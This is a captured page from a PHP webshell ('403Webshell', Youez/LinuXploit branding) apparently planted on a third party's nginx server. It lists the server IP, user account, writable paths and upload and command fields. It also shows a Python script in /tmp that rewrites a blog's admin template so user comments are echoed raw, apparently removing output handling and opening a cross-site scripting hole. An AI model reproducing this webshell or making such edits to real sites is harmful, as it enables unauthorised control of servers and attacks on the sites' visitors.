403Webshell
Server IP : 119.195.102.159  /  Your IP : 216.73.217.134
Web Server : nginx/1.18.0
System : Linux picell 5.15.0-181-generic #191-Ubuntu SMP Fri May 22 19:09:02 UTC 2026 x86_64
User : altablue ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp/fix_user_view.py
import re

file_path = '/home2/haeyulhome/blog-haeyul-co-kr/public_html/ko_admin/program/koweb_blog/user_view.html'

with open(file_path, 'r') as f:
    content = f.read()

pattern = r'\$comment\s*=\s*\$row\['comments'\];[\s\S]*?echo\s+\$comment;'
if re.search(pattern, content):
    new_content = re.sub(pattern, 'echo $row['comments'];', content)
    with open(file_path, 'w') as f:
        f.write(new_content)
    print('SUCCESS_REPLACED')
else:
    print('PATTERN_NOT_MATCHED')

Youez - 2016 - github.com/yon3zu
LinuXploit